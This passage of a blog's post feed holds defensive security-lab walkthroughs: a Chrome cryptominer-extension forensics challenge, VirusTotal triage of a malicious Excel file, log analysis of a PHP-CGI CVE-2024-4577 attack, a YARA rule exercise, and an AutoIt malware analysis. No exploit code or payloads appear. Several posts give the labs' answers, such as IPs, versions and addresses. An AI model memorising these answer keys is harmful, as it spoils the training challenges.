and Extension Name of the cryptominer Now that we’ve identified the theme extension, let’s turn our focus to scanning through the rest of the installed extensions looking for the cryptominer. To do this, we’ll review the manifest.json file for suspicious entries in each of the extension folders. But what is the manifest file, anyway? According to Google:\nEvery extension must have a manifest.json file in its root directory that lists important information about the structure and behavior of that extension. This page explains the structure of extension manifests and the features they can include.\nWith that in mind, we can check the files starting from the first extension and moving our way down the list. Eventually, we’ll stumble on the below extension:\negnfmleidkolminhjlkaomjefheafbbb\nThe manifest file for a suspicious crytocurrency mining extension\nThis one looks a bit suspicious. To confirm that this is the extension we’re looking for to answer Question 3, let’s pivot and gather some external intelligence about this extension ID on Chrome-Stats.\nDFP Cryptocurrency Miner - Extension Download _Allows staff members to mine cryptocurrency in the background of their web browser_chrome-stats.com\nOur search provides us some valuable data and confirms that the extension is considered “very high risk” and was actually removed from the Chrome Web Store due to malware. This confirms our finding.\nQuestion 4: What is the description text of this extension? Fortunately, we’ve already discovered the answer to Question 4 in the manifest.json file under the “description” tag. Additionally, we can also find it listed on the Chrome-Stats page.\nCrytominer extension description in the manifest.json\nCrytominer extension description on Chrome-Stats\nQuestion 5: What is the name of the specific javascript web miner used in the browser extension? To answer Question 5, we’re going to refer back to the manifest.json. At the top of the file, in the “background” key of the manifest, notice the referenced script, background.js.\nLet’s extract the JavaScript and examine it more closely. To extract the file from the image, locate the script in FTK’s file list, right-click it, and select “Export Files…”\nExporting the JavaScript from FTK\nOnce the file is exported, open it in Notepad++ or another text editor to view the script details. To answer Question 5, focus on lines 1 and 3, where we can determine that this script enables the CryptoLoot miner.\nQuestion 6: How many hashes is the crypto miner calculating per second? Continuing with our analysis of the miner in Notepad++, we can find a hashesPerSecond variable on line 17 with a value of 20**.**\nQuestion 7: What is the public key associated with this mining activity? Circling back to the variable on line 3, we’ll find the miner’s public key.\nQuestion 8: What is the URL of the official Twitter page of the javascript web miner? We’ve made it to the last question! To complete our investigation, we need to locate the official Twitter page for the Crypto Loot miner**.** All we need to do is perform a quick Google search.\nKeep in mind, since this challenge was originally published, Twitter was rebranded to X, so the results might look a little different. But we can follow the answer format and use the Twitter domain instead. Go ahead and submit the answer, and let’s wrap up this challenge!\nConclusion: Mission accomplished! Using FTK Imager, we explored a forensic image of the infected device, focusing on the Google Chrome cache. From the cache, we identified a crypto mining extension that we determined was malicious using Chrome-Stats. After that, we looked at the miner’s JavaScript functions to understand how it works. Now that we have analyzed the miner, and completed our objectives, let’s close out this walkthrough of Browser Forensics -Cryptominer with a big thank you to Blue Team Labs Online, for the fun and engaging challenge!\nThanks for your support and going through this investigation with me. Remember, if you found this walkthrough helpful don’t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we’re in this together!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: FTK Imager: https://www.exterro.com/digital-forensics-software/ftk-imager\nFoxtron Forensics — Browser History Examiner — User Guide: https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location\nChrome for Develops — Manifest file format: https://developer.chrome.com/docs/extensions/reference/manifest\nChrome-Stats: https://chrome-stats.com/\n","date":"2025-02-10T00:00:00Z","image":"/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/edb634b8375a2333d04e1b36b583fea7_MD5.png","permalink":"/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/","title":"Blue Team Labs Online  —  Browser Forensics -Cryptominer Walkthrough"},{"content":"LetsDefend — Remote Working Challenge Walkthrough Investigating a suspicious XLSM file with VirusTotal Image Credit: https://app.letsdefend.io/\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog while searching for a comprehensive walkthrough of the Remote Working challenge from LetsDefend, you\u0026rsquo;re in the right place.\nIn this scenario, we\u0026rsquo;re provided with a suspicious Excel file, and it\u0026rsquo;s up to us to determine whether it\u0026rsquo;s malicious or not. To do this, we\u0026rsquo;ll collect the file hash and hunt on VirusTotal to see what we can learn about the sample.\nThis challenge is perfect for beginners and serves as a primer for using VirusTotal for triage, rather than focusing on static analysis of the malicious file directly. However, it offers great practice opportunities for all skill levels. Sounds like fun, right? Let\u0026rsquo;s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nChallenge Link: https://app.letsdefend.io/challenge/remote-working\nChallenge Scenario: Analysis XLS File\nFile link: /root/Desktop/ChallengeFiles/ORDER_SHEET_SPEC.zip\nQuestion 1: What is the date the file was created? (UTC) Answer Format: YYYY-MM-DD HH:MM:SS Let\u0026rsquo;s kick off this challenge by extracting the sample file from ORDER_SHEET_SPEC.zip within the ChallengeFiles folder.\nInside, we\u0026rsquo;ll find a macro-enabled Excel file, ORDER SHEET \u0026amp; SPEC.xlsm. While a macro-enabled file doesn\u0026rsquo;t necessarily mean it\u0026rsquo;s malicious, it does raise some suspicions, especially if it was delivered over email like in a phishing campaign. But that\u0026rsquo;s what we\u0026rsquo;re here to figure out!\nWe\u0026rsquo;ll start our analysis with getting an overview of the suspicious file by grabbing its SHA256 file hash. With this unique hash, we can pivot our search to an external threat intelligence service, like VirusTotal, to save time in our analysis and quickly determine the file\u0026rsquo;s status.\nWe\u0026rsquo;ll grab the file hash of the sample directly from a terminal window within our analysis environment by right-clicking in the folder and selecting \u0026quot; # \u0026quot;\nOpen in Terminal\u0026quot; to launch it.\nOnce in the terminal, we can use the command below to calculate the SHA256 hash of the sample:\nsha256sum \u0026lsquo;ORDER SHEET \u0026amp; SPEC.xlsm\u0026rsquo;\nWith the file hash in hand, navigate to VirusTotal and submit it to see if the file has been previously analyzed. Once the results load, you\u0026rsquo;ll notice that most security vendors have already detected the file as malicious.\nVirusTotal VirusTotalwww.virustotal.com\nTo find the answer to Question 1, navigate to the Details tab of the submission, and look under History to find the file\u0026rsquo;s creation time.\nhttps://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/details\nReal World Tip: If you\u0026rsquo;re new to using VirusTotal, it\u0026rsquo;s important to remember that public submissions are made available to the security community. DO NOT upload anything that contains personal or confidential data.\nQuestion 2: With what name is the file detected by Bitdefender antivirus? Navigate back to the Detection tab of the VirusTotal page. Under the security vendors\u0026rsquo; analysis section, locate the malware threat name reported by Bitdefender.\nhttps://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/detection\nQuestion 3: How many files are dropped on the disk? Continuing our analysis, let\u0026rsquo;s determine how many files are dropped on the disk once the malware is executed. We can locate this information on the Behavior tab, scrolling down to the Files Dropped section, and counting the entries.\nhttps://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/behavior\nQuestion 4: What is the sha-256 hash of the file with emf extension it drops? Expanding on the information we collected in the last question; we need to locate a dropped file with the .emf extension. Once we\u0026rsquo;ve found it, press the + button to expand the selection, revealing the SHA256 hash of the dropped file.\nQuestion 5: What is the exact url to which the relevant file goes to download spyware? We\u0026rsquo;ve made it to the final question! There are several spots within VirusTotal where we can determine the network communication but for this walkthrough, let\u0026rsquo;s use the Relations tab and focus on the Contacted URLs section.\nOf the two URLs, we can see that one of them is hosting an executable file. That\u0026rsquo;s pretty suspicious\u0026hellip;\nhttps://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/relations\nClicking the URL entry will take us to the VirusTotal page for the URL where we can see that several vendors have identified it as malicious. I think we\u0026rsquo;ve found the answer to Question 5! Now let\u0026rsquo;s wrap up this investigation!\nhttps://www.virustotal.com/gui/url/ef74a71ba69605f7e6b528e74876ca52fa0b120b9e4850f7ec08871675ad9c49\nConclusion: Mission accomplished! By leveraging the power of VirusTotal, we successfully analyzed the malicious Excel file and learned about some of its behavior, including creation time, dropped files, and second stage URL. Now that we\u0026rsquo;ve completed our objectives, let\u0026rsquo;s close out this walkthrough of the Remote Working challenge.\nA big thank you to LetsDefend, for the fun lab. While this challenge isn\u0026rsquo;t especially difficult, it\u0026rsquo;s good hands-on practice using VirusTotal and exploring some of its lesser-used features. These types of challenges would have been especially useful earlier in my own security journey to better understand what tools were available with practical applications to test with. I hope that this challenge helped pique your interest in using VirusTotal in your own workflow!\nThanks for your support and for going through this investigation with me. Remember, if you found this walkthrough helpful don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Microsoft Support — File formats that are supported in Excel: https://support.microsoft.com/en-us/office/file-formats-that-are-supported-in-excel-0943ff2c-6014-4e8d-aaea-b83d51d46247\nVirusTotal: https://www.virustotal.com/\n","date":"2025-02-03T00:00:00Z","image":"/posts/letsdefend-remote-working-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png","permalink":"/posts/letsdefend-remote-working-challenge-walkthrough/","title":"LetsDefend — Remote Working Challenge Walkthrough"},{"content":"LetsDefend — PHP-CGI (CVE-2024€“4577) Challenge Walkthrough Investigating a web server exploitation attempt using Apache \u0026amp; PHP logs, Notepad++, and the Windows Prefetch. Image Credit: https://app.letsdefend.io/\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the PHP-CGI (CVE-2024€“4577) challenge from LetsDefend, you\u0026rsquo;re in the right place.\nIn this scenario, we\u0026rsquo;re jumping into the shoes of a security analyst to investigate an exploitation attempt against a critical web server. Our objective is to analyze the provided artifacts and determine which vulnerability the attacker attempted to exploit. To perform the investigation, we\u0026rsquo;ll navigate through several logs, including the Apache HTTP server logs, PHP logs, and Windows Prefetch files. The indicators of compromise found in these logs will help us ultimately identify the vulnerability (CVE) used in the attack. Sounds like fun, right? Let\u0026rsquo;s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nChallenge Link: https://app.letsdefend.io/challenge/php-cgi-CVE-2024-4577\nChallenge Scenario: You will confront an attempted exploitation of a newly discovered and unpatched vulnerability (CVE-2024-XXXX) in a critical software component within your organization\u0026rsquo;s infrastructure. The CVE allows for remote code execution, posing a significant threat if successfully exploited. At 12:05 PM UTC, an alert is generated by the Intrusion Detection System (IDS) and Intrusion Prevention System (IPS), indicating an attack on one of your web servers. Your task is to analyze the provided artifacts, confirm the exploitation attempt, and answer the provided questions.\nQuestion 1: What version of PHP was running on the server during the incident? Despite the title spoiling some of the mystery, let\u0026rsquo;s approach this challenge without any additional background about the vulnerability so that we can perform the investigation using the available artifacts. To get started, extract the artifacts from artifacts.7z within the ChallengeFile folder.\nInside, we\u0026rsquo;ll find three folders that give us an idea of what artifacts are available for analysis:\nApache24: This folder contains the files related to the Apache HTTP Web Server, including configuration files. php: This folder holds the PHP runtime and its associated files and resources, including the executables, configuration files, logs, and temp files. prefetch: Prefetch files are used in Windows to speed up the loading of applications. These files contain information about the applications that have been run, including their execution history, file paths, and timestamps. We\u0026rsquo;ll explore each of these folders during our investigation, but let\u0026rsquo;s start with the php folder since we\u0026rsquo;re searching for the running PHP version. But first, some background about PHP from the PHP manual:\nPHP (recursive acronym for PHP: Hypertext Preprocessor) is a widely-used open source general-purpose scripting language that is especially suited for web development and can be embedded into HTML.\nInstead of lots of commands to output HTML (as seen in C or Perl), PHP pages contain HTML with embedded code that does something\nWith that context, let\u0026rsquo;s start our search by locating any plaintext logs. We\u0026rsquo;ll stumble across snapshots.txt in the root folder — let\u0026rsquo;s see what\u0026rsquo;s inside by opening the file with Notepad++.\nRight at the top, we see some snapshot information that contains the version number of PHP. It seems like we\u0026rsquo;re on the right track, but let\u0026rsquo;s go a step further and verify by executing php.exe since we have it available, passing the -v parameter. To do this, open the Windows Command Prompt and run the following command from the php directory:\nphp.exe -v\nThis double-confirms our earlier finding that the PHP version is 8.2.19.\nQuestion 2: When PHP is configured to run as CGI, which directive in httpd.conf specifies the scripts that handle requests for PHP files? To answer Question 2, we first need to locate the httpd.conf file. Searching the artifacts folder for httpd.conf , we\u0026rsquo;ll discover that it\u0026rsquo;s located in the Apache24 \u0026gt; conf folder. According to the Apache documentation:\nApache HTTP Server is configured by placing directives in plain text configuration files. The main configuration file is usually called httpd.conf.\nLet\u0026rsquo;s open the file in Notepad++ and search for php-cgi.exe to help us locate the correct directive.\nThe search takes us directly to the line above. Notice the Action directive? Remember the question is asking us to find the \u0026quot; # \u0026ldquo;directive in httpd.conf specifies the scripts that handle requests for PHP file\u0026rdquo;— let\u0026rsquo;s do some research in the Apache docs to learn more about this directive.\nThe [Action](https://httpd.apache.org/docs/2.4/mod/mod_actions.html#action) directive lets you run CGI scripts whenever a file of a certain MIME content type is requested. The [Script](https://httpd.apache.org/docs/2.4/mod/mod_actions.html#script) directive lets you run CGI scripts whenever a particular method is used in a request. This makes it much easier to execute scripts that process files.\nThis directive fits what we\u0026rsquo;re looking for!\nQuestion 3: What is the IP address of the attacker who attempted to exploit our server? To answer Question 3, we\u0026rsquo;ll need to pivot to another artifact: the access.log file within the Apache24 \u0026gt; logs folder.\nAfter a cursory scan of the logs, we\u0026rsquo;ll observe several IP addresses in the log entries. However, compared to the others, one of them is making some strange requests. Notice the odd parameters included with the HTTP POST requests to /upload.php from 192.168.110.1\u0026hellip;\nQuestion 4: The attacker targeted a specific page on the server with malicious payloads. Which page did the attacker target with malicious payloads? Oh, awesome! The method that we used to discover the attacker\u0026rsquo;s IP address already provided us with the answer to Question 4!\nQuestion 5: What version of Apache is running on the server? Let\u0026rsquo;s move onto the other artifacts within the Apache24 \u0026gt; logs folder since the version information isn\u0026rsquo;t available in access.log . This time, we\u0026rsquo;ll check the error.log to see what information we can find.\nAfter opening this in Notepad++, we\u0026rsquo;ll see the Apache version listed on line 1.\nQuestion 6: The attacker managed to execute commands on the server. What was the first process initiated by the attacker\u0026rsquo;s commands during their successful attempt? Remember back in Question 1 that we noted a third set of artifacts in the prefetch folder? Now it\u0026rsquo;s time to check them out. Once the folder is open, sort the folder contents by date modified so that we can organize the timestamps more efficiently.\nThe folder contains the list of executables loaded into the prefetch. Remember that prefetch files are used in Windows to speed up the loading of applications. These files contain information about the applications that have been run, including their execution history, file paths, and timestamps, which is exactly what we\u0026rsquo;ll need to answer Question 6.\nBecause we already examined the access.log in Question 3, we already have a general timeline of when the attacker accessed the server. So, let\u0026rsquo;s start there, using the timestamps of the first event range targeting the /upload.php page.\nPay special attention to the +0300 in the timestamp. This offset indicates that it\u0026rsquo;s 3 hours ahead of UTC, meaning the local prefetch timestamps could be in UTC time so they won\u0026rsquo;t match the logs exactly. For example, 14:24:31 \u0026gt; 11:24 AM.\nNow, looking in the prefetch folder, nothing seems to match the timestamps from the first attempt\u0026hellip;\nNo problem! Let\u0026rsquo;s check the next set of events in the access.log with the attacker\u0026rsquo;s source IP address, and match those to the prefetch data — this gets us closer to the time of the IDS alert.\nBingo! Now we have some matching time stamps and we can see the first process executed is whoami.exe to check the username of the currently logged-in user.\nQuestion 7: Before the attacker was detected and blocked, they executed another command, launching a new process. What process was launched by this command? Fortunately, the steps we took to answer the last question also work for Question 7. Using the same matching prefetch timestamps, we can determine that the attacker executed another command, calc.exe , which is often used as a proof-of-concept demonstrating remote code execution\nQuestion 8: What is the CVE number of the exploit used by the attacker? Now let\u0026rsquo;s put everything we\u0026rsquo;ve learned together and determine which CVE the threat actor exploited. To recap:\nThe compromised web server is running PHP 8.2.19. PHP is running as CGI on Windows. The attacker\u0026rsquo;s payload targeted the /upload.php page. The attacker executed whoami and calc.exe, indicating we are looking for a remote code execution. Let\u0026rsquo;s do a Google search with these parameters to see what information we can discover:\nphp cgi 8.2.19 windows remote code execution vulnerability\nThe answer is — a lot! We can select any number of the returned links to learn about this vulnerability, but all of them refer back to the disclosure write-up from the DEVCORE Research team. The referenced PoC for CVE-2024€“4577 looks very familiar based on what we saw in our logs.\nSecurity Alert: CVE-2024-4577 - PHP CGI Argument Injection Vulnerability | DEVCORE 戴夫寇爾 _While implementing PHP, the team did not notice the Best-Fit feature of encoding conversion within the Windows\u0026hellip;_devco.re\nPHP RCE: A Bypass of CVE-2012-1823, Argument Injection in PHP-CGI _Hi, I am Orange Tsai from DEVCORE Research Team. We recently found a vulnerability on PHP. We have reproduced the\u0026hellip;_github.com\nConclusion: There we have it! Using the PHP logs, we discovered that the web server was running a version of PHP vulnerable to CVE-2024€“4577. After that, we leveraged the Apache logs to discover the attacker\u0026rsquo;s IP address, what web page was targeted, then correlated the data with the Windows Prefetch to uncover evidence of remote code execution. Now that we have scoped the attack and completed our objectives, let\u0026rsquo;s close out this walkthrough of the PHP-CGI (CVE-2024€“4577)!\nAnother big thank you to LetsDefend for continuing to provide these awesome labs. I chose this challenge to better understand how web servers work and see what logs are available during incident response. I appreciated that the discovery process built a catalog of evidence that could be used to locate the applicable CVE number. It was a fun process to do the detective work based on the clues. After going through this challenge, I\u0026rsquo;ve gained a better understanding of this vulnerability and assembled valuable resources to tackle the triage process in the real world.\nThanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: PHP Manual: PHP: Introduction — Manual\nApache Documentation: Configuration Files — Apache HTTP Server Version 2.4\nDevcore Blog — Security Alert: CVE-2024€“4577 — PHP CGI Argument Injection Vulnerability: https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/?ref=labs.watchtowr.com\nPHP Security Advisories GitHub: https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv\nNational Vulnerability Database (CVE-2024€“4577): https://nvd.nist.gov/vuln/detail/cve-2024-4577\n","date":"2025-01-27T00:00:00Z","image":"/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png","permalink":"/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/","title":"LetsDefend — PHP-CGI (CVE-2024–4577) Challenge Walkthrough"},{"content":"LetsDefend — YARA Rule Challenge Walkthrough An introduction to YARA rules using Notepad++, IDA, and Hybrid Analysis Image Credit: https://app.letsdefend.io/\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a detailed guide of the YARA Rule challenge from LetsDefend, you\u0026rsquo;re in the right place.\nFor those unfamiliar with YARA rules, this challenge provides an excellent introduction. Before diving in, let\u0026rsquo;s quickly cover what YARA is based on the information from the project\u0026rsquo;s GitHub.\nYARA is a tool aimed at (but not limited to) helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families (or whatever you want to describe) based on textual or binary patterns. Each description, a.k.a rule, consists of a set of strings and a boolean expression which determine its logic.\nPut another way, YARA rules are written to identify malware based on matching specific content within a sample. For this challenge, we\u0026rsquo;ll examine a YARA rule in Notepad++ to understand the parts of a rule. Then, we\u0026rsquo;ll apply the rule\u0026rsquo;s logic to search for matching strings within a malware binary using IDA. Finally, we\u0026rsquo;ll pivot to Hybrid Analysis to search the submissions data with the rule and identify matching samples. Sounds like fun, right? Let\u0026rsquo;s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nChallenge Link: https://app.letsdefend.io/challenge/yara-rule\nChallenge Scenario: Welcome to the YARA Rules Challenge! This exercise is designed to introduce you to the basics of YARA rules and how they work.\nFile Location-1: C:\\Users\\LetsDefend\\Desktop\\ChallengeFiles\\sample.7z\nFile Location-2: C:\\Users\\LetsDefend\\Desktop\\ChallengeFiles\\sample.yara\nQuestion 1: What is the name of this YARA rule? Let\u0026rsquo;s jump right into the action! The ChallengeFiles folder contains two files: sample.yara and sample.7z.\nWe\u0026rsquo;ll use both files during the challenge but let\u0026rsquo;s focus first on examining sample.yara. Remember, YARA Rules are written to identify malware based on matching content within the sample. So, let\u0026rsquo;s open sample.yara using a text editor like Notepad++ and see what\u0026rsquo;s inside.\nTo answer Question 1 we\u0026rsquo;ll start out easy, looking for the rule identifier. According the YARA documentation, \u0026quot; # \u0026quot;\neach rule in YARA starts with the keyword rule followed by a rule identifier\u0026quot; .\nQuestion 2: What is the name of the author of this YARA rule? To answer Question 2, refer to the meta section of the rule, which contains details about the rule itself such as the author, description, and purpose of the rule.\nQuestion 3: What is the extension of the encrypted file? For Question 3, we need to identify the extension added by the GwisinLocker ransomware that the YARA rule is targeting. We can find this information in the strings section of the rule, specifically in the $ext variable.\nAccording to the YARA documentation,\n\u0026quot; # \u0026quot;\nThe strings definition section is where the strings that will be part of the rule are defined. Each string has an identifier consisting of a $ character followed by a sequence of alphanumeric characters and underscores, these identifiers can be used in the condition section to refer to the corresponding string. Strings can be defined in text or hexadecimal form\u0026hellip;\u0026quot;\nQuestion 4: What is the assembly instruction that stores the $hex opcode in the YARA rule? Now that we\u0026rsquo;ve gotten some understanding of the YARA rule, it\u0026rsquo;s time to pivot to the second file within the ChallengeFiles folder, sample.7z.\nExtract the sample from the archive using the password from the challenge description which leaves us with a binary to analyze.\nWe\u0026rsquo;re going to perform some static analysis to locate information in the binary targeted by the YARA rule, specifically the opcode stored within the $hex variable of the strings section. Copy the hex string, we\u0026rsquo;ll need it for the next steps.\nTo perform the analysis on the binary, we\u0026rsquo;re going to use IDA, a powerful disassembler that will let us peek into the code. Don\u0026rsquo;t worry, you don\u0026rsquo;t need to be a coding expert (I\u0026rsquo;m definitely not!) to make use of the tool.\nIDA is already installed and available for use from the Tools folder of the LetsDefend analysis environment. Go ahead and launch it. Once it opens, drag the extracted sample into the window to load it using the default options.\nThe first thing we\u0026rsquo;ll do to find the answer is leverage IDA\u0026rsquo;s search function to look for the matching sequence of bytes. In the Binary search window, paste the string we copied from the YARA rule into the search box, select find all occurrences, and press OK.\nBingo! We found the information we\u0026rsquo;re looking for. The instruction stores the opcode in the rax register.\nQuestion 5: What is the address that we can find with $hex opcode with the IDA tool? Our previous search also located the information needed for Question 5 under the Address column, so we\u0026rsquo;re already halfway to the answer!\nPay attention to the requested answer format: 0x0000 — that doesn\u0026rsquo;t look exactly like what we see in IDA does it?\nNo problem! The question is looking for the hexadecimal notation, so we just need to perform a simple conversion. Strip off the leading zeroes used for padding (it doesn\u0026rsquo;t change the value) and then add the \u0026quot; # \u0026quot;\n0x,\u0026quot; prefix to indicate that the number is in the hex format. For example, 0000000000003B51 becomes 0x3B51 .\nQuestion 6: What is the name of the function that has $cde2? Now that we have learned how to use the search function in IDA, answering Question 6 is much more familiar. We\u0026rsquo;ll repeat the binary search process like we did in Question 4, but this time we\u0026rsquo;ll search for the string stored in the $cde2 variable of the YARA rule.\nThis search will lead us to the function start_routine in the results.\nQuestion 7: What is the file signature in the YARA rule? To answer Question 7, let\u0026rsquo;s jump back over to the YARA rule and focus on the condition section at the bottom to determine the file signature. In a YARA rule, this section is where the logic of the rule is defined.\nWhat we\u0026rsquo;re looking for is the uint32(0) value, which represents the file signature value of the binary. This condition identifies specific file types.\nQuestion 8: Hunt on a hybrid-analysis site with Yara rules. What is the \u0026quot; # \u0026quot; threat level\u0026quot; of the sample timestamped September 1, 2022, 16:11:41 (UTC)?\nOkay, we\u0026rsquo;ve made it to the last question! For our final task, let\u0026rsquo;s gather some threat intelligence about the malware. While we could copy the hash1 value from the meta section of the rule, let\u0026rsquo;s try something a bit different.\nNavigate to the Hybrid Analysis website, click the Yara Search tab, then press Advanced Search.\nNext, copy the rule from the LetsDefend analysis environment, and paste it into the Advanced Search (YARA) window.\nNow for the cool part! Hybrid Analysis will hunt their submissions database and present samples matching the YARA rule! This is a handy and flexible method for applying YARA rules to hunt public submissions on Hybrid Analysis. Once we retrieve the results, we need to match the date/time stamp requested in the question.\nhttps://www.hybrid-analysis.com/yara-search/results/5d48cfcb207cbe9e9cfeefebc3284c5e05d6dbc433455bc2540e68b3c937b9bc\nHybrid Analysis has assessed the threat of this binary as malicious. Awesome job navigating this challenge! Let\u0026rsquo;s wrap this up.\nConclusion: There we have it! That was an excellent introduction to YARA Rules. During this challenge, we manually analyzed a rule to understand who wrote it and what strings it searches for. Then, we dove into IDA to analyze the malware binary and confirm a match manually. Then, we leveraged the rule on Hybrid Analysis to hunt for matching samples. With our objectives complete, let\u0026rsquo;s close out this walkthrough of the YARA Rule challenge!\nAnother big thank you to LetsDefend for continuing to provide these engaging labs. I chose this challenge because, while I\u0026rsquo;ve been vaguely aware of YARA rules, I\u0026rsquo;ve never had the occasion to use them in my day job. This was a great opportunity to learn more and start turning the gears on how these powerful rules can quickly identify threats — mission accomplished! I was pleasantly surprised that there was a reverse engineering component to this lab, as I hadn\u0026rsquo;t had a chance to try IDA before— very cool! My favorite part was hunting on Hybrid Analysis with the YARA rule. I\u0026rsquo;ve visited that site countless times but never knew that feature existed. It just goes to show that in this field, you will learn a dozen new things a day.\nThanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: YARA GitHub: https://virustotal.github.io/yara/\nYARA Docs: https://yara.readthedocs.io/en/latest/writingrules.html\nIDA: https://hex-rays.com/ida-free\nHybrid Analysis: https://www.hybrid-analysis.com/yara-search/results/5d48cfcb207cbe9e9cfeefebc3284c5e05d6dbc433455bc2540e68b3c937b9bc\n","date":"2025-01-20T00:00:00Z","image":"/posts/letsdefend-yara-rule-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png","permalink":"/posts/letsdefend-yara-rule-challenge-walkthrough/","title":"LetsDefend — YARA Rule Challenge Walkthrough"},{"content":"LetsDefend— Malicious AutoIT Challenge Walkthrough A malicious script analysis challenge using Detect It Easy, AutoIt-Ripper, and Notepad++ Image Credit: https://app.letsdefend.io/challenge/malicious-autoit\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the Malicious AutoIT challenge from LetsDefend, you\u0026rsquo;re in the right place.\nIn this scenario, the SOC has detected malicious activity on an endpoint stemming from a suspicious executable. Our objective is to analyze the suspicious file, extract the script, and determine what it does.\nTo do this, we\u0026rsquo;re going to leverage several tools including Detect It Easy, a \u0026quot; # \u0026quot;\npowerful tool for file type identification,\u0026quot; AutoIt Ripper to extract the script contents, and trusty Notepad++ for viewing the script contents.\nWhile this challenge is geared toward beginners, there are excellent learning opportunities for all skill levels, especially if you aren\u0026rsquo;t familiar with AutoIt. Sounds like fun, right? Let\u0026rsquo;s get into it!\nAnd hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please give it a clap!\nThanks for reading and going on this investigation with me!\nChallenge Link: https://app.letsdefend.io/challenge/malicious-autoit\nChallenge Scenario: Our organization\u0026rsquo;s Security Operations Center (SOC) has detected suspicious activity related to an AutoIt script. Can you analyze this exe and help us answer the following questions?\nQuestion 1: What is the MD5 hash of the sample file? Okay, let\u0026rsquo;s kick off our investigation by extracting the sample.7z archive from the ChallengeFile folder. This will leave us with the sample we need to analyze.\nSince we don\u0026rsquo;t have any information about this file or even what it is, we need to do some sleuthing. A great starting point is to use Detect It Easy (DIE) to identify the file and perform some cursory analysis. Fortunately for us, this tool is already installed on the LetsDefend analysis environment in the Tools folder. Let\u0026rsquo;s go ahead and open it, then point it to the mysterious sample file.\nOnce DIE is loaded and has parsed the sample, we can start to gather some information about the file. Notice something interesting in the PE32 info window: it shows that this executable is a compiled AutoIt(3.XX) script.\nLet\u0026rsquo;s get some background on AutoIt. According to the project\u0026rsquo;s website:\nAutoIt v3 is a freeware BASIC-like scripting language designed for automating the Windows GUI and general scripting. It uses a combination of simulated keystrokes, mouse movement and window/control manipulation in order to automate tasks in a way not possible or reliable with other languages (e.g. VBScript and SendKeys).\nand\nScripts can be compiled into standalone executables\nCool! That sounds extremely useful to a system administrator, but it might also be useful for a bad actor. We can confirm this by taking a look at the MITRE ATT\u0026amp;CK knowledge base, where we\u0026rsquo;ll find that abusing AutoIt scripts is a known adversary technique (T1059.010).\nThe Main Detect It Easy Window\nBut let\u0026rsquo;s not get too far ahead of ourselves just yet. To answer Question 1, we first need to collect the MD5 hash of the sample file. We can find this in DIE by pressing File Info, then selecting Hash under the Method drop-down menu.\nThe MD5 value is all we\u0026rsquo;ll need to answer Question 1.\nQuestion 2: According to the Detect It Easy (DIE) tool, what is the entropy of the sample file? We can find the answer to Question 2 with a simple click of the Method drop-down menu again and selecting Entropy:\nIn malware analysis, entropy measures the randomness within data, with higher values indicating potential obfuscation techniques like encryption or compression, often used by malware to evade detection. For example, the value of the sample we\u0026rsquo;re analyzing is on the higher side which raises suspicion.\nQuestion 3: According to the Detect It Easy(DIE) tool, what is the virtual address of the \u0026quot; # \u0026quot; .text\u0026quot; section?\nTo answer Question 3, navigate back to the main Detect It Easy window and click the €˜\u0026gt;\u0026rsquo; to the right of the **\u0026quot; # \u0026quot;\nSections\u0026quot; ** area**.** This will open up the PE window for a deeper analysis.\nOnce the window is open, you\u0026rsquo;ll see a list of sections including the one we are looking for, named .text. The \u0026quot; # \u0026quot;\n**VirtualAddress\u0026quot; ** value is what we\u0026rsquo;re after.\nNotice that the question specifies the answer format as 0x0000. This 